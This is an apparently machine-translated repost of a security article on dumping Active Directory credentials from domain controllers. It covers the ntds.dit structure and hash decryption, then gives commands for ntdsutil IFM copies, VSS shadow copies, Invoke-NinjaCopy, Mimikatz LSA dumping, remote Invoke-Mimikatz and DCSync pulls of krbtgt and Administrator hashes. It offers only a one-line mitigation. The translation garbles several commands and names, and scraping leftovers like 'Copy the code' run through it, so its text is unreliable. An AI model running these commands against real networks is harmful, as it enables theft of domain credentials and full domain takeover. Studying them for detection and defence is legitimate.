Her0in · 2016/01/11 restraunt

Original address: adsecurity.org/?p=2398

0 x00 preface


The great bull of ADS published excellent articles worthy of careful reading, so I spent some time to translate the full text for you.

I have previously published two articles on how to dump AD database credentials: “How an attacker reads an Active Directory database (NtsD.dit) from a Domain controller” and “Attack Methods for Gaining administrator privileges in an Active Directory Domain.”

This article covers a number of different ways that an attacker can dump Active Directory credentials, both DC local and remote. I already covered some of this information at the 2015 (BSides, Shakacon, Black Hat, DEF CON, &DerbyCon) security conference.

The primary techniques for dumping credential data from Active Directory include interacting with the LSASS process of a living DC, grabbing a copy of the AD data file (NtsD.dit), or tricking a domain controller into copying password data for an attacker.

The methods described here require permission promotion because they require a connection to the domain controller to dump credentials.

As follows:

  • Use NTDSUtil to create IFM to grab local NTDs. dit files.
  • Read Ntds. Dit remotely using VSS volume shadow replication.
  • Invoke-ninjacopy reads ntds. dit remotely using PowerSploit (requires PowerShell remote management enabled for the target DC).
  • Use Mimikatz in DC to dump Active Directory credentials.
  • Use invoke-Mimikatz to dump Active Directory credentials in the DC.
  • Use invoke-Mimikatz to remotely dump Active Directory credentials.
  • Use Mimikatz’s DCSync feature to remotely dump Active Directory credentials.

Note: If a copy of an Active Directory database (NtdS.dit) has been found, the attacker can dump credentials from it without promoting permissions.

0x01 Remote Command Execution Mode


There are several different ways to execute commands remotely on a domain controller, assuming they already have the appropriate execution permissions. The most reliable methods of remote execution include PowerShell (using WinRM) and WMI.

  • WMI

    #! bash Wmic /node:COMPUTER/user:DOMAIN\USER /password:PASSWORD process call create "COMMAND"Copy the code
  • PowerShell (WMI)

    #! Bash Invoke-WMIMethod -Class win32_process-name Create - ArgumentList $COMMAND - ComputerName $COMPUTER -Credential $CREDCopy the code
  • WinRM

    #! Bash winrs - r: COMPUTER COMMANDCopy the code
  • Remote PowerShell

    #! Bash invoked-command -- computername $computer-command {$Command} new-pssession-name PSCOMPUTER -- computername $COMPUTER;  Enter-PSSession -Name PSCOMPUTERCopy the code

0x02 Active Directory Database File (Ntds.dit)


Active Directory domain databases are stored in an NTDs.dit file (in C:\WINDOWS\ Ntds by default, but generally on a different logical drive). AD database is a Jet database engine using scalable Storage Engine (ESE), which provides data storage and indexing services. ESE level indexes make it possible to quickly locate attributes of objects. ESE ensures that the database complies with ACID (atomicity, consistency, isolation, and persistence) meaning that all operations in a transaction are either complete or not complete. The ESE database of AD is very fast and reliable.

Note: Microsoft also uses the Jet database as the mailbox database for Exchange.

Active Directory loads a portion of the NtdS.dit file into memory (already protected by the LSASS process) and uses an LRU-K based algorithm for caching to ensure that frequently accessed data is in memory, which improves performance and improves the performance of secondary reads. Changes to the database are executed in memory, written to the transaction log, followed by a slow commit to the database file. The check point file (EDB.chk) will track the transaction write operation point. This is kind of like a pointer operation. The “version store” is a copy of an object instance, which allows update operations to read data from memory without changing the data being read (ESE transaction view). Once the read operation is complete, the instance stored for that version ends. Active Directory consists of three Directory partitions: domain, configuration, and schema, which is the simplest abstract view of database data. The Ntds. Dit file consists of three main tables: data tables, linked tables, and SD tables.

The data table

The data table contains all the information about the Active Directory data store: users, user groups, application-specific data, and any other data stored after the Active Directory installation. A data table can be thought of as a table with rows (each representing an instance of an object, such as a user) and columns (each representing an attribute in the schema, such as GivenName). For each attribute in the schema, the table contains one column, called a field. The size of a field is fixed or variable. Fixed-size fields contain an integer or a long integer as their data type. Variable-size fields are usually strings, for example, Unicode strings. The database allocates as much space as possible for variable-size fields: 16-bit Unicode strings of 1 character, 160-bit Unicode strings of 10 character, and so on.

The amount of database space used to store an object depends on the number of attributes and the size of the values that have been set for it. For example, if an administrator creates two user objects (user 1 and user 2), sets only minimal properties for them, and then adds a 10-character description to user 2, the space of user 2 will be about 80 bytes larger than the space of user 1 (20 bytes is the size of 10 characters, Plus metadata for newly generated properties).

Database records cannot cross database pages; Therefore, each object is limited to 8KB in size. However, for this limitation, some attribute values of an object are not fully evaluated. Longer and variable-length values can be stored in different pages, leaving only a nine-byte reference after the object is recorded. In this way, the size of an object and all of its attribute values is much larger than 8KB.

Link to the table

Linked tables contain data that represents linked properties and contain values that point to other objects in Active Directory. For example, the MemberOf attribute of a user object contains values that point to the group to which the user belongs. Also, linked tables are much smaller than data tables.

SD table

The SD table contains data that represents the security descriptor that each object inherits. With the introduction of SD tables in Windows Server 2003 and later, inherited security descriptors are no longer copied to every object that inherits security descriptors. Instead, the inherited security descriptor is stored in the SD table and linked to the corresponding object.

0x03 Encryption Mode used for Password hashing in Active Directory


Csaba Barta ([email protected]) published a white paper entitled “Techniques for Active Directory HASH Offline Dumps and Forensic Analysis” in July 2011.

Note that in the previous list, there are many fields that are described as encrypted, and the purpose of encryption is to provide protection against data being extracted offline.

The solution introduced by Microsoft to provide this protection is relatively complex, with three layers of encryption. The first two layers use RC4 encryption algorithm, and the third layer uses DES encryption algorithm.

To decrypt the hash stored in Nds.dit, perform the following steps:

  • 1. Decrypt PEK (password encryption key) with BOOTKEY (RC4 – Layer 1 encryption)
  • 2.HASH decryption round 1 (using PEK and RC4 – Layer 2 encryption)
  • 3.HASH decryption round 2 (DES-Layer 3 encryption)

Password encryption key — PEK

PEK is used to encrypt data stored in NtdS.dit files. The key is the same throughout the domain, which means it is the same across all domain controllers. The PEK itself is also stored in nTDS.dit in encrypted form. To decrypt PEK, you need to export the registry data (SYSTEM Hive) from the same domain controller where the Nds.dit file was obtained. This is because PEK is encrypted using BOOTKEY and the BOOTKEY is different across all domain controllers (in fact, across all computers in the domain).

To decrypt the PEK, the ATTk590689 field must be obtained from the NtsD.dit file. Since all of the aforementioned objects stored in the database have this field, you need to check if the value is null in order to determine which one is the required value for decryption.

The length of the value of this field is 76 bytes (binary data). The structure of the values is as follows:

The value of PEK obtained after decryption can be divided into two parts. Skip the first 36 bytes (so the PEK key is actually only 16 bytes long).

The algorithm after removing the RC4 encryption layer is as follows:

#! cpp md5 = MD5.new() md5.update(pek) md5.update(enc_hash[0:16]) rc4_key = md5.digest(); rc4 = ARC4.new(rc4_key) denc_hash = rc4.encrypt(enc_hash[16:])Copy the code

The last step is to remove the DES encryption layer, in fact, this password HASH and stored in the registry used by the so-called “standard” SYSKEY encryption algorithm and its similar, the details of the proposed algorithm can find it here, moyix.blogspot.com/2008/02/sys… .

Here is the final part of the algorithm:

#! cpp (des_k1,des_k2) = sid_to_key(rid) d1 = DES.new(des_k1, DES.MODE_ECB) d2 = DES.new(des_k2, DES.MODE_ECB) hash = d1.decrypt(denc_hash[:8]) + d2.decrypt(denc_hash[8:])Copy the code

Note that it must have the SID of the user to determine the RID and calculate the key used for DES encryption and decryption.

0x04 Mitigation Measures


The best mitigation is to prevent an attacker from gaining access to related files in the domain controller. In this article, “Attack Methods for Gaining administrator rights in Active Directory Domains” covers methods for securing administrator credentials.

0x05 Using VSS volume Shadow copy to remotely read NtdS. dit (remote management via WMI or PowerShell)


There is a built-in administrative component in Windows, WMI, that allows commands to be executed remotely (requiring administrator privileges). WMIC is a COMMAND line tool for WMI that can execute commands on remote computers.

Matt Graeber demonstrated techniques for WMI attacks (paper, POWERPOINT, and video) at the Black Hat USA 2015 Security Conference. He also further demonstrated WMI’s attack capabilities in DEF CON 23 (video) with colleagues. (And the video at DerbyCon.)

Create (or copy) an existing VSS using WMIC (or PowerShell remote management).

When the VSS snapshot is complete, we can copy the NtsD. dit file and System Hive in the registry from the VSS to disk C of the domain controller.

You can then copy the files in the c:\\temp directory of the domain controller to your local computer.

The figure above shows the attacker using the plaintext password obtained by Mimikatz for remote connection operations. But what does it matter if we don’t have a password?

An attacker can pass Kerberos tickets through WMIC and also perform remote connection operations.

It is important to note that WMIC is somewhat outdated in newer versions of Windows. PowerShell provides the invoke-WmiMethod CMdlet to perform the same function.

0x06 Create IFM with NTdS. dit file (VSS shadow copy)


NTDSUTIL is a command line utility that requires an AD database (ntdS.dit) to work locally and supports the creation of IFM for DCPROMO. DCPROMO will use IFM to “install from media” so that the server does not need to copy domain data from another DC over the network.

#! Bash ntdsutil ac I NTDS IFM Create Full C :\temp q qCopy the code

In the figure below, IFM is a copy of an NTDs. dit file in the c:\\temp directory.

When an IFM is created, a VSS snapshot is also created and mounted, and the Ntds. Dit files and associated data are also copied to the destination folder.

This file may be stored in a shared folder in a new DC that is promot, or it may appear on a new server that does not yet have promot. This server may not secure IFM data, including copying Ntds. Dit files and extracting credential data.

This command can also be executed remotely via WMI or PowerShell.

0x07 PowerSploit invoke-Ninjacopy remotely reads NTDS. Dit (requires PowerShell remote management for target DC)


Invoke-ninjacopy is a PowerShell function that copies files from a remote computer using PowerShell remote management (requiring the target DC to enable PowerShell remote management).

Invoke-NinjaCopy file

This script can copy files from an NTFS volume by opening the read handle for the entire volume (such as C:) and parsing the NTFS structure. This operation requires administrator rights for the target server. Using this script, you can bypass the following protections:

  1. A file that has been opened by a process and cannot be operated by other processes, such as an NTDs. dit file or a SYSTEM Hive configuration file in the registry.
  2. Files with the SACL flag set will be alerted when such files are opened (this script does not use the Win32 API to open the file, so Windows does not respond).
  3. Bypassing DACL, for example DACL allows only SYSTEM permission to open a file.

If the LocalDestination parameter is specified, the file is copied to the file path specified on the local server from which the script is running.

If the RemoteDestination parameter is specified, the file will be copied to the specified file path on the remote server.

The script uses CYB70289’s NTFS parsing code and has been released to CodePlex for NTFS structural parsing. Because the NTFS parsing code using c + +, so I compile the code to a DLL, and through reflection using PowerShell Invoke – ReflectivePEInjection. Ps1 script loading it (please refer to the following link to the original code).

Joe Bialek (@JosephBialek) wrote the following on his blog about Invoke-Ninjacopy.

There are several ways to dump hashes for Active Directory and local passwords. Until recently, however, I found that the current technique for getting a HASH relies on injecting code into an LSASS process or using VSS to get a copy of the HASH file. I created a PowerShell script called invoked-Ninjacopy that supports copying any file (including NTDs.dit) without starting a suspicious service, injecting code into a process, or promoting to SYSTEM privileges.

The command is as follows:

#! Bash Invoke-NinjaCopy -Path "c:\ Windows \ NTDS \ntds.dit" -ComputerName "RDLABDC02" -LocalDestination "C :\temp\ ntDs.dit"Copy the code

The following example executes invoke-ninjacopy after downloading code from the Internet and executing it entirely in memory. This is useful if the attacker already has access to the host to which the domain administrator is logged in, allowing the attacker to copy Active Directory database files from the domain controller to the host and then upload them to the Internet.

Using the DIT snapshot viewer, we can verify that we got the Ntds. DIT file successfully.

When grabbing a file from a running system, I had to “take a snapshot” of the NTDs.dit file to correct the error.

Note:

Invoke-ninjacopy author Joe Bialek (@JosephBialek) notes that he did not test using invoke-Ninjacopy to copy a large NTDs.dit file, so when used in a busy DC, There is a high risk of file corruption. Here are some of Harmj0y’s insights on the corruption of the NTDS.DIT file when attempting to dump AD credentials.

0x08 Dumps Active Directory credentials in DC using Mimikatz


Typically, a service account is a member of the domain administrator group (or equivalent) or an attacker dumps login credentials from the computer to which the domain administrator recently logged in. Using these credentials, an attacker can access the domain controller and get all the domain credentials, including the NTLM hash of the KRBTGT account used to create Kerberos’s gold ticket.

PS:

There are many different tools that can dump AD credentials while running on a local DC, but I prefer Mimikatz because of its extensive credential stealing and code injection capabilities (and more) that allow attackers to dump credential data from multiple sources and scenarios.

Command:

#! bash mimikatz lsadump::lsa /inject exitCopy the code

Can be run on a domain controller to dump domain credential data for Active Directory.

You need to use the debug mode to obtain the local administrator permission or system permission.

Note:

The account with UID 502 is the KRBTGT account and the account with RID 500 is the default administrator in the domain.

0x09 Dumps Active Directory credentials using invoke-Mimikatz in the DC


Invoke-mimikatz is part of PowerSploit, written by Joe Bialek (@JosephBialek), which incorporates all of Mimikatz’s features in a single Powershell function. It uses Mimikatz 2.0 and invoke-reflectivepeinjection to reflectively load the entire Mimikatz code in memory. This allows you to dump credentials without writing Mimikatz’s binary data to disk.

PS: The PowerSploit framework is currently hosted in PowerShellMafia’s GitHub repository.

What makes invoke-Mimikatz so “magic” is the use of the ability to reflexively load the Mimikatz DLL (already embedded with scripts) into memory. Invoke-mimikatz’s code can be downloaded from the Internet and executed in memory without writing anything to disk. In addition, if you run invok-Mimikatz with the appropriate permissions and PowerShell remote management is enabled on the target machine, you can export credential data from other systems and execute standard Mimikatz commands remotely without dropping any files on the remote system.

Invoke-mimikatz is no longer updated, but we can use the newer Mimikatz to convert out of DLLS (32-bit and 64-bit versions).

  • Dump credentials from the LSASS process using Mimikatz:Invoke-Mimikatz -DumpCreds
  • Export all private certificates with Mimikatz (even if they have been marked unexportable) :Invoke - Mimikatz - DumpCerts
  • Upgrade permissions with debug on a remote machine:Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"

The invoke-Mimikatz “Command” parameter allows the invoke-Mimikatz to execute a custom Mimikatz Command line.

Command:

#! Bash invoke-Mimikatz-command '" privilege::debug "" LSADump::LSA /inject" exit"Copy the code

To run and dump the domain credential data of Active Directory on the domain controller, you need to use the debug mode to obtain the local administrator permission or system permission.

Note: The account with UID 502 is a KRBTGT account and the account with RID 500 is the default administrator in the domain.

0x0A Uses invoke-MimiKatz to remotely dump Active Directory credentials (managed remotely through PowerShell)


Command:

#! bash Invoke-Mimikatz -Command '"privilege::debug" "LSADump:LSA /inject"' -Computer RDLABDC02.rd.adsecurity.orgCopy the code

The following example downloads code from the Internet and executes it entirely in memory, then executes invoke-Mimikatz. This is useful if the attacker already has access to the host to which the domain administrator is logged in, allowing the attacker to copy Active Directory database files from the domain controller to the host and then upload them to the Internet.

0x0B Dumps Active Directory credentials remotely using Mimikatz’s DCSync feature


In August 2015, Mimikatz added a new feature called “DCSync” that can effectively “impersonate” a domain controller and request account password data from the target domain controller.

The previous attack method using DCSync was to run Mimikatz or invoke-Mimikatz on the domain controller to get the password hash of the KRBTGT account to create a golden ticket.

If Mimikatz’s DCSync function is performed with appropriate permissions, an attacker can read the password hash of a domain controller, as well as the hash of previous passwords, remotely over the network without having to log in interactively or copy Active Directory’s database files (NtdS.dit).

The special permissions required to run DCSync are Administrators, Any member of the Domain Admins or Enterprise Admins groups, as well as the Domain controller computer account, can run DCSync to read password data. Note that the read-only domain controller does not allow reading of user password data by default.

How DCSync works:

  1. Discover a domain controller using the specified domain name.
  2. Request the domain controller to copy user credentials via DSGetNCChanges (using the Directory Replication Service (DRS) remote protocol)

I captured some packets of domain controller replicating data and confirmed the traffic on how domain controller replicating internal DC data.

The Samba Wiki describes the DSGetNCChanges function as follows:

“When the first acquired AD object is updated from the second, the client DC sends a DSGetNCChanges request to the server. The data in response contains a set of updates that the client must apply to its COPY of the NC. .

When the DC receives a DSReplicaSync request, it performs a replication cycle, copying each DC it wants to copy (stored in the RepsFrom data structure), and behaves like a client. The DSGetNCChanges request is sent to the DC to be copied. So it gets the latest AD object for every DC it copies.

DCSync options:

  • /user– The ID or SID of the user to pull data from
  • /domain(Optional) The FQDN of the Active Directory domain. Mimikatz will find a DC in the domain and connect to it. If this parameter is not provided, Mimikatz defaults to the current domain.
  • /dc(Optional) Specify the domain controller you want to connect to and collect data using DCSync.

There is also a/GUID parameter.

Example of the DCSync command line:

Pull KRBTGT user account password data from the rd.adsecurity.org field:

#! bash Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt" exitCopy the code

Pull the Administrator user account password data from the rd.adsecurity.org domain:

#! bash Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exitCopy the code

Pull the password data for the computer account of ADSDC03 domain controller in lab.adsecurity.org:

#! bash Mimikatz "privilege::debug" "lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$" exitCopy the code

If reversible encryption is enabled for the account, the plaintext password is displayed.

0x0C References and references


  • Sean Metcalf’s Presentations on Active Directory Security
  • How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller
  • Attack Methods for Gaining Domain Admin Rights in Active Directory
  • Mimikatz DCSync Usage, Exploitation, and Detection
  • Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync
  • Mimikatz Guide and Command Reference
  • Matt Graeber presented on leveraging WMI for offensive purposes at Black Hat USA 2015 (paper, slides, and video). Matt also spoke at DEF CON 23 (video) with colleagues and dove further into offensive WMI capability (and Again at DerbyCon — Video)
  • PowerShellMafia’s PowerSploit offensive PowerShell tools on Github
  • Joe Bialek’s (@JosephBialek) his blog post about Invoke-NinjaCopy
  • DIT Snapshot Viewer